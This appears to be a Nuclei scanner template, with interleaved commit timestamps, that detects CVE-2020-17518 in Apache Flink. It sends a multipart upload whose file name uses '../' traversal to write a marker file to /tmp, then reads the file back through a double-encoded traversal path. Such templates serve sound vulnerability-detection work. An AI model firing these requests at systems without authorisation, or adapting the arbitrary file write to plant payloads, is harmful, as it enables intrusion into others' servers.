2021-01-06 17:38:45 +00:00
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id: CVE-2020-17518
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info:
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name: Apache Flink Upload Path Traversal
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2021-04-06 06:46:11 +00:00
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author: pdteam
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2021-09-10 11:26:40 +00:00
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severity: high
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2021-01-06 17:38:45 +00:00
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reference: https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
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2021-03-11 14:25:31 +00:00
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description: |
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2021-03-11 20:16:35 +00:00
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Apache Flink 1.5.1 introduced a REST handler that allows you to write an uploaded file to an arbitrary location on the local file system,
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2021-03-11 14:25:31 +00:00
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through a maliciously modified HTTP HEADER.
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2021-03-18 07:54:36 +00:00
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tags: cve,cve2020,apache,lfi
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2021-09-10 11:26:40 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
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cvss-score: 7.50
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cve-id: CVE-2020-17518
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cwe-id: CWE-22
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2021-01-06 17:38:45 +00:00
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requests:
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- raw:
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- |
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POST /jars/upload HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
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2021-01-07 18:49:39 +00:00
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2021-01-06 17:38:45 +00:00
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------WebKitFormBoundaryoZ8meKnrrso89R6Y
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Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
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2021-01-07 18:49:39 +00:00
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2021-01-06 17:38:45 +00:00
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test-poc
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------WebKitFormBoundaryoZ8meKnrrso89R6Y--
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- method: GET
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path:
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- '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc'
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matchers:
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- type: dsl
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dsl:
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2021-03-24 23:28:50 +00:00
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- 'contains(body, "test-poc") && status_code == 200' # Using CVE-2020-17519 to confirm this.
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